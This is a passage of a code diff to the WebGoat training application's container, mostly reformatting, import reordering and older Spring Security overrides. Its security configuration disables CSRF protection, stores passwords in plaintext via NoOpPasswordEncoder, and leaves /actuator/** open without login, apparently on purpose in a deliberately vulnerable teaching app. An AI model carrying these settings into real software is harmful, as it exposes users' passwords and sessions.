-    http.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
-    http.csrf().disable();
+    @Override
+    protected void configure(HttpSecurity http) throws Exception {
+        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
+                .authorizeRequests()
+                .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**").permitAll()
+                .anyRequest().authenticated();
+        security.and()
+                .formLogin()
+                .loginPage("/login")
+                .defaultSuccessUrl("/welcome.mvc", true)
+                .usernameParameter("username")
+                .passwordParameter("password")
+                .permitAll();
+        security.and()
+                .logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+        security.and().csrf().disable();

-    http.headers().cacheControl().disable();
-    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
-    return http.build();
-  }
+        http.headers().cacheControl().disable();
+        http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+    }

-  @Autowired
-  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
-    auth.userDetailsService(userDetailsService);
-  }
+    @Autowired
+    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+        auth.userDetailsService(userDetailsService);
+    }

-  @Bean
-  public UserDetailsService userDetailsServiceBean() {
-    return userDetailsService;
-  }
+    @Bean
+    @Override
+    public UserDetailsService userDetailsServiceBean() throws Exception {
+        return userDetailsService;
+    }

-  @Bean
-  public AuthenticationManager authenticationManager(
-      AuthenticationConfiguration authenticationConfiguration) throws Exception {
-    return authenticationConfiguration.getAuthenticationManager();
-  }
+    @Override
+    @Bean
+    protected AuthenticationManager authenticationManager() throws Exception {
+        return super.authenticationManager();
+    }

-  @SuppressWarnings("deprecation")
-  @Bean
-  public NoOpPasswordEncoder passwordEncoder() {
-    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
-  }
+    @SuppressWarnings("deprecation")
+    @Bean
+    public NoOpPasswordEncoder passwordEncoder() {
+        return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java
+++ b/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java
@ -10,12 +10,12 @@ import org.springframework.web.servlet.ModelAndView;
@RequiredArgsConstructor
 public class WebWolfRedirect {

-  private final ApplicationContext applicationContext;
+    private final ApplicationContext applicationContext;

-  @GetMapping("/WebWolf")
-  public ModelAndView openWebWolf() {
-    var url = applicationContext.getEnvironment().getProperty("webwolf.url");
+    @GetMapping("/WebWolf")
+    public ModelAndView openWebWolf() {
+        var url = applicationContext.getEnvironment().getProperty("webwolf.url");

-    return new ModelAndView("redirect:" + url + "/home");
-  }
+        return new ModelAndView("redirect:" + url + "/home");
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java
@ -7,20 +7,19 @@ import org.springframework.core.env.Environment;
 import org.springframework.stereotype.Component;

 /**
- * Make environment available in the asciidoc code (which you cannot inject because it is handled by
- * the framework)
+ * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
 */
@Component
 public class EnvironmentExposure implements ApplicationContextAware {

-  private static ApplicationContext context;
+    private static ApplicationContext context;

-  public static Environment getEnv() {
-    return context.getEnvironment();
-  }
+    public static Environment getEnv() {
+        return context.getEnvironment();
+    }

-  @Override
-  public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
-    context = applicationContext;
-  }
+    @Override
+    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
+        context = applicationContext;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java
@ -1,25 +1,25 @@
 package org.owasp.webgoat.container.asciidoc;

-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

+import java.util.Map;
+
 public class OperatingSystemMacro extends InlineMacroProcessor {

-  public OperatingSystemMacro(String macroName) {
-    super(macroName);
-  }
+    public OperatingSystemMacro(String macroName) {
+        super(macroName);
+    }

-  public OperatingSystemMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
+    public OperatingSystemMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }

-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var osName = System.getProperty("os.name");
+    @Override
+    public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var osName = System.getProperty("os.name");

-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", osName);
-  }
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", osName);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java
@ -1,31 +1,31 @@
 package org.owasp.webgoat.container.asciidoc;

-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;

+import java.util.Map;
+
 public class UsernameMacro extends InlineMacroProcessor {

-  public UsernameMacro(String macroName) {
-    super(macroName);
-  }
-
-  public UsernameMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var auth = SecurityContextHolder.getContext().getAuthentication();
-    var username = "unknown";
-    if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
-      username = webGoatUser.getUsername();
+    public UsernameMacro(String macroName) {
+        super(macroName);
    }

-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", username);
-  }
+    public UsernameMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+    public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var auth = SecurityContextHolder.getContext().getAuthentication();
+        var username = "unknown";
+        if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
+            username = webGoatUser.getUsername();
+        }
+
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", username);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java
@ -1,25 +1,26 @@
 package org.owasp.webgoat.container.asciidoc;

-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

+import java.util.Map;
+
 public class WebGoatTmpDirMacro extends InlineMacroProcessor {

-  public WebGoatTmpDirMacro(String macroName) {
-    super(macroName);
-  }
+    public WebGoatTmpDirMacro(String macroName) {
+        super(macroName);
+    }

-  public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
+    public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }

-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
+    @Override
+	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");

-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", env);
-  }
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", env);
+
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java
@ -1,25 +1,25 @@
 package org.owasp.webgoat.container.asciidoc;

-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;

+import java.util.Map;
+
 public class WebGoatVersionMacro extends InlineMacroProcessor {

-  public WebGoatVersionMacro(String macroName) {
-    super(macroName);
-  }
+    public WebGoatVersionMacro(String macroName) {
+        super(macroName);
+    }

-  public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
+    public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }

-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
+    @Override
+	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");

-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", webgoatVersion);
-  }
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", webgoatVersion);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java
@ -1,73 +1,73 @@
 package org.owasp.webgoat.container.asciidoc;

-import jakarta.servlet.http.HttpServletRequest;
-import java.util.HashMap;
-import java.util.Map;
 import org.asciidoctor.ast.ContentNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;

+import javax.servlet.http.HttpServletRequest;
+import java.util.HashMap;
+import java.util.Map;
+
 /**
 * Usage in asciidoc:
- *
- * <p>webWolfLink:here[] will display a href with here as text
+ * <p>
+ * webWolfLink:here[] will display a href with here as text
 */
 public class WebWolfMacro extends InlineMacroProcessor {

-  public WebWolfMacro(String macroName) {
-    super(macroName);
-  }
-
-  public WebWolfMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
-    var env = EnvironmentExposure.getEnv();
-    var hostname = determineHost(env.getProperty("webwolf.port"));
-    var target = (String) attributes.getOrDefault("target", "home");
-    var href = hostname + "/" + target;
-
-    // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
-    if (displayCompleteLinkNoFormatting(attributes)) {
-      linkText = href;
+    public WebWolfMacro(String macroName) {
+        super(macroName);
    }

-    var options = new HashMap<String, Object>();
-    options.put("type", ":link");
-    options.put("target", href);
-    attributes.put("window", "_blank");
-    return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
-  }
-
-  private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
-    return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
-  }
-
-  /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
-   * possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
-   * www.webgoat.local www.webwolf.local
-   */
-  private String determineHost(String port) {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-    String host = request.getHeader("Host");
-    int semicolonIndex = host.indexOf(":");
-    if (semicolonIndex == -1 || host.endsWith(":80")) {
-      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
-    } else {
-      host = host.substring(0, semicolonIndex);
-      host = host.concat(":").concat(port);
+    public WebWolfMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
    }
-    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
-  }

-  protected boolean includeWebWolfContext() {
-    return true;
-  }
+    @Override
+    public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
+        var env = EnvironmentExposure.getEnv();
+        var hostname = determineHost(env.getProperty("webwolf.port"));
+        var target = (String) attributes.getOrDefault("target", "home");
+        var href = hostname + "/" + target;
+
+        //are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
+        if (displayCompleteLinkNoFormatting(attributes)) {
+            linkText = href;
+        }
+
+        var options = new HashMap<String, Object>();
+        options.put("type", ":link");
+        options.put("target", href);
+        attributes.put("window", "_blank");
+        return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
+    }
+
+    private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
+        return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
+    }
+
+    /**
+     * Determine the host from the hostname and ports that were used.
+     * The purpose is to make it possible to use the application behind a reverse proxy. For instance in the docker
+     * compose/stack version with webgoat webwolf and nginx proxy.
+     * You do not have to use the indicated hostname, but if you do, you should define two hosts aliases
+     * 127.0.0.1 www.webgoat.local www.webwolf.local
+     */
+    private String determineHost(String port) {
+        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
+        String host = request.getHeader("Host");
+        int semicolonIndex = host.indexOf(":");
+        if (semicolonIndex == -1 || host.endsWith(":80")) {
+            host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
+        } else {
+            host = host.substring(0, semicolonIndex);
+            host = host.concat(":").concat(port);
+        }
+        return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
+    }
+
+    protected boolean includeWebWolfContext() {
+        return true;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java
+++ b/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java
@ -4,22 +4,22 @@ import java.util.Map;

 /**
 * Usage in asciidoc:
- *
- * <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will
- * display the complete url, for example: http://WW_HOST:WW_PORT/landing
+ * <p>
+ * webWolfLink:here[] will display a href with here as text
+ * webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
 */
 public class WebWolfRootMacro extends WebWolfMacro {

-  public WebWolfRootMacro(String macroName) {
-    super(macroName);
-  }
+    public WebWolfRootMacro(String macroName) {
+        super(macroName);
+    }

-  public WebWolfRootMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
+    public WebWolfRootMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }

-  @Override
-  protected boolean includeWebWolfContext() {
-    return false;
-  }
+    @Override
+    protected boolean includeWebWolfContext() {
+        return false;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java
@ -35,58 +35,57 @@ import org.springframework.beans.factory.annotation.Autowired;

 public abstract class AssignmentEndpoint implements Initializeable {

-  @Autowired private WebSession webSession;
-  @Autowired private UserSessionData userSessionData;
-  @Getter @Autowired private PluginMessages messages;
+    @Autowired
+    private WebSession webSession;
+    @Autowired
+    private UserSessionData userSessionData;
+    @Getter
+    @Autowired
+    private PluginMessages messages;

-  protected WebSession getWebSession() {
-    return webSession;
-  }
+    protected WebSession getWebSession() {
+        return webSession;
+    }

-  protected UserSessionData getUserSessionData() {
-    return userSessionData;
-  }
+    protected UserSessionData getUserSessionData() {
+        return userSessionData;
+    }

-  /**
-   * Convenience method for create a successful result:
-   *
-   * <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
-   *
-   * <p>Of course you can overwrite these values in a specific lesson
-   *
-   * @return a builder for creating a result from a lesson
-   * @param assignment
-   */
-  protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
-        .lessonCompleted(true)
-        .attemptWasMade()
-        .feedback("assignment.solved")
-        .assignment(assignment);
-  }
+    /**
+     * Convenience method for create a successful result:
+     * <p>
+     * - Assignment is set to solved
+     * - Feedback message is set to 'assignment.solved'
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
+     *
+     * @return a builder for creating a result from a lesson
+     * @param assignment
+     */
+    protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(true).attemptWasMade().feedback("assignment.solved").assignment(assignment);
+    }

-  /**
-   * Convenience method for create a failed result:
-   *
-   * <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
-   *
-   * <p>Of course you can overwrite these values in a specific lesson
-   *
-   * @return a builder for creating a result from a lesson
-   * @param assignment
-   */
-  protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
-        .lessonCompleted(false)
-        .attemptWasMade()
-        .feedback("assignment.not.solved")
-        .assignment(assignment);
-  }
+    /**
+     * Convenience method for create a failed result:
+     * <p>
+     * - Assignment is set to not solved
+     * - Feedback message is set to 'assignment.not.solved'
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
+     *
+     * @return a builder for creating a result from a lesson
+     * @param assignment
+     */
+    protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(false).attemptWasMade().feedback("assignment.not.solved").assignment(assignment);
+    }

-  protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
-  }
+    protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
+    }

-  @Override
-  public void initialize(WebGoatUser user) {}
+    @Override
+    public void initialize(WebGoatUser user) {
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java
@ -5,10 +5,12 @@ import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;

-/** Created by nbaars on 1/14/17. */
+/**
+ * Created by nbaars on 1/14/17.
+ */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentHints {

-  String[] value() default {};
+    String[] value() default {};
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java
@ -1,19 +1,22 @@
 package org.owasp.webgoat.container.assignments;

+import org.springframework.web.bind.annotation.RequestMethod;
+
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
-import org.springframework.web.bind.annotation.RequestMethod;

-/** Created by nbaars on 1/14/17. */
+/**
+ * Created by nbaars on 1/14/17.
+ */
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
 public @interface AssignmentPath {

-  String[] path() default {};
+    String[] path() default {};

-  RequestMethod[] method() default {};
+    RequestMethod[] method() default {};

-  String value() default "";
+    String value() default "";
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java
@ -25,104 +25,100 @@

 package org.owasp.webgoat.container.assignments;

-import static org.apache.commons.text.StringEscapeUtils.escapeJson;
-
 import lombok.Getter;
 import org.owasp.webgoat.container.i18n.PluginMessages;

+import static org.apache.commons.text.StringEscapeUtils.escapeJson;
+
 public class AttackResult {

-  public static class AttackResultBuilder {

+    public static class AttackResultBuilder {
+
+        private boolean lessonCompleted;
+        private PluginMessages messages;
+        private Object[] feedbackArgs;
+        private String feedbackResourceBundleKey;
+        private String output;
+        private Object[] outputArgs;
+        private AssignmentEndpoint assignment;
+        private boolean attemptWasMade = false;
+
+        public AttackResultBuilder(PluginMessages messages) {
+            this.messages = messages;
+        }
+
+        public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
+            this.lessonCompleted = lessonCompleted;
+            this.feedbackResourceBundleKey = "lesson.completed";
+            return this;
+        }
+
+        public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
+            this.lessonCompleted = lessonCompleted;
+            this.feedbackResourceBundleKey = resourceBundleKey;
+            return this;
+        }
+
+        public AttackResultBuilder feedbackArgs(Object... args) {
+            this.feedbackArgs = args;
+            return this;
+        }
+
+        public AttackResultBuilder feedback(String resourceBundleKey) {
+            this.feedbackResourceBundleKey = resourceBundleKey;
+            return this;
+        }
+
+        public AttackResultBuilder output(String output) {
+            this.output = output;
+            return this;
+        }
+
+        public AttackResultBuilder outputArgs(Object... args) {
+            this.outputArgs = args;
+            return this;
+        }
+
+        public AttackResultBuilder attemptWasMade() {
+            this.attemptWasMade = true;
+            return this;
+        }
+
+        public AttackResult build() {
+            return new AttackResult(lessonCompleted, messages.getMessage(feedbackResourceBundleKey, feedbackArgs), messages.getMessage(output, output, outputArgs), assignment.getClass().getSimpleName(), attemptWasMade);
+        }
+
+        public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
+            this.assignment = assignment;
+            return this;
+        }
+    }
+
+    @Getter
    private boolean lessonCompleted;
-    private PluginMessages messages;
-    private Object[] feedbackArgs;
-    private String feedbackResourceBundleKey;
+    @Getter
+    private String feedback;
+    @Getter
    private String output;
-    private Object[] outputArgs;
-    private AssignmentEndpoint assignment;
-    private boolean attemptWasMade = false;
+    @Getter
+    private final String assignment;
+    @Getter
+    private boolean attemptWasMade;

-    public AttackResultBuilder(PluginMessages messages) {
-      this.messages = messages;
+    public AttackResult(boolean lessonCompleted, String feedback, String output, String assignment, boolean attemptWasMade) {
+        this.lessonCompleted = lessonCompleted;
+        this.feedback = escapeJson(feedback);
+        this.output = escapeJson(output);
+        this.assignment = assignment;
+        this.attemptWasMade = attemptWasMade;
    }

-    public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
-      this.lessonCompleted = lessonCompleted;
-      this.feedbackResourceBundleKey = "lesson.completed";
-      return this;
+    public static AttackResultBuilder builder(PluginMessages messages) {
+        return new AttackResultBuilder(messages);
    }

-    public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
-      this.lessonCompleted = lessonCompleted;
-      this.feedbackResourceBundleKey = resourceBundleKey;
-      return this;
+    public boolean assignmentSolved() {
+        return lessonCompleted;
    }
-
-    public AttackResultBuilder feedbackArgs(Object... args) {
-      this.feedbackArgs = args;
-      return this;
-    }
-
-    public AttackResultBuilder feedback(String resourceBundleKey) {
-      this.feedbackResourceBundleKey = resourceBundleKey;
-      return this;
-    }
-
-    public AttackResultBuilder output(String output) {
-      this.output = output;
-      return this;
-    }
-
-    public AttackResultBuilder outputArgs(Object... args) {
-      this.outputArgs = args;
-      return this;
-    }
-
-    public AttackResultBuilder attemptWasMade() {
-      this.attemptWasMade = true;
-      return this;
-    }
-
-    public AttackResult build() {
-      return new AttackResult(
-          lessonCompleted,
-          messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
-          messages.getMessage(output, output, outputArgs),
-          assignment.getClass().getSimpleName(),
-          attemptWasMade);
-    }
-
-    public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
-      this.assignment = assignment;
-      return this;
-    }
-  }
-
-  @Getter private boolean lessonCompleted;
-  @Getter private String feedback;
-  @Getter private String output;
-  @Getter private final String assignment;
-  @Getter private boolean attemptWasMade;
-
-  public AttackResult(
-      boolean lessonCompleted,
-      String feedback,
-      String output,
-      String assignment,
-      boolean attemptWasMade) {
-    this.lessonCompleted = lessonCompleted;
-    this.feedback = escapeJson(feedback);
-    this.output = escapeJson(output);
-    this.assignment = assignment;
-    this.attemptWasMade = attemptWasMade;
-  }
-
-  public static AttackResultBuilder builder(PluginMessages messages) {
-    return new AttackResultBuilder(messages);
-  }
-
-  public boolean assignmentSolved() {
-    return lessonCompleted;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java
+++ b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java
@ -36,47 +36,39 @@ import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
@RestControllerAdvice
 public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {

-  private UserTrackerRepository userTrackerRepository;
-  private WebSession webSession;
+    private UserTrackerRepository userTrackerRepository;
+    private WebSession webSession;

-  public LessonTrackerInterceptor(
-      UserTrackerRepository userTrackerRepository, WebSession webSession) {
-    this.userTrackerRepository = userTrackerRepository;
-    this.webSession = webSession;
-  }
-
-  @Override
-  public boolean supports(
-      MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
-    return true;
-  }
-
-  @Override
-  public Object beforeBodyWrite(
-      Object o,
-      MethodParameter methodParameter,
-      MediaType mediaType,
-      Class<? extends HttpMessageConverter<?>> aClass,
-      ServerHttpRequest serverHttpRequest,
-      ServerHttpResponse serverHttpResponse) {
-    if (o instanceof AttackResult attackResult) {
-      trackProgress(attackResult);
+    public LessonTrackerInterceptor(UserTrackerRepository userTrackerRepository, WebSession webSession) {
+        this.userTrackerRepository = userTrackerRepository;
+        this.webSession = webSession;
    }
-    return o;
-  }

-  protected AttackResult trackProgress(AttackResult attackResult) {
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    if (userTracker == null) {
-      userTracker = new UserTracker(webSession.getUserName());
+    @Override
+    public boolean supports(MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
+        return true;
    }
-    if (attackResult.assignmentSolved()) {
-      userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
-    } else {
-      userTracker.assignmentFailed(webSession.getCurrentLesson());
-    }
-    userTrackerRepository.save(userTracker);

-    return attackResult;
-  }
+    @Override
+    public Object beforeBodyWrite(Object o, MethodParameter methodParameter, MediaType mediaType, Class<? extends HttpMessageConverter<?>> aClass, ServerHttpRequest serverHttpRequest, ServerHttpResponse serverHttpResponse) {
+        if (o instanceof AttackResult attackResult) {
+            trackProgress(attackResult);
+        }
+        return o;
+    }
+
+
+    protected AttackResult trackProgress(AttackResult attackResult) {
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        if (userTracker == null) {
+            userTracker = new UserTracker(webSession.getUserName());
+        }
+        if (attackResult.assignmentSolved()) {
+            userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
+        } else {
+            userTracker.assignmentFailed(webSession.getCurrentLesson());
+        }
+        userTrackerRepository.saveAndFlush(userTracker);
+        return attackResult;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java
+++ b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java
@ -1,37 +1,36 @@
 /**
 * ************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since October 28, 2003
 */
+
 package org.owasp.webgoat.container.controller;

-import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.session.Course;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;
@ -39,52 +38,52 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;

+import javax.servlet.http.HttpServletRequest;
+
+
@Controller
 public class StartLesson {

-  private final WebSession ws;
-  private final Course course;
+    private final WebSession ws;
+    private final Course course;

-  public StartLesson(WebSession ws, Course course) {
-    this.ws = ws;
-    this.course = course;
-  }
+    public StartLesson(WebSession ws, Course course) {
+        this.ws = ws;
+        this.course = course;
+    }

-  /**
-   * start.
-   *
-   * @return a {@link ModelAndView} object.
-   */
-  @RequestMapping(
-      path = "startlesson.mvc",
-      method = {RequestMethod.GET, RequestMethod.POST})
-  public ModelAndView start() {
